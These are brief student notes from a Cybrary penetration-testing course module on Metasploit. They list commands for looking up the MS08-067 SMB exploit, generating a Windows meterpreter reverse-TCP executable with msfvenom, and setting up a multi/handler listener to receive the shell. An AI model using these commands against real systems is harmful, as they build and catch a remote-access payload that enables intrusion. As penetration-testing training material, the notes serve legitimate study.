< All Advanced Penetration Testing Notes

sau206 | Advanced Penetration Testing | Module 3 - Metasploit

By: sau206 | Related Course: Advanced Penetration Testing | Published: December 13, 2016 | Modified: December 16, 2016
Join Cybrary

Notepadmetasploit 3

service postgresql start

service metasploit start

info exploit/windows/smb/ms08-07-netapi –  info about exploit

show targets


msfcli -h


E – to execute


msfvenom –  encapsulate msfpayload and msfencode. –  into a single module


msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=1234 -f exe > meterpreter.exe

to display list of options available

msfvenom -p windows/meterpreter/reverse_tcp -o +Enter


msfvenom –help-formats


>info exploit/multi/handler

>use multi/handler

>set payload

>set lhost,lport – >lport should be same as what we used in payload(meterpreter.exe)

< All Advanced Penetration Testing Notes
Join Cybrary

Our Revolution

We believe Cyber Security training should accessible for everyone, everywhere. Everyone deserves the OPPORTUNITY to learn, begin and grow a career in this fascinating field. Therefore, Cybrary is the world's largest community where people, companies and training come together to give everyone the ability to collaborate in an open source way that is revolutionizing the cyber security educational experience.

We recommend always using caution when following any link

Are you sure you want to continue?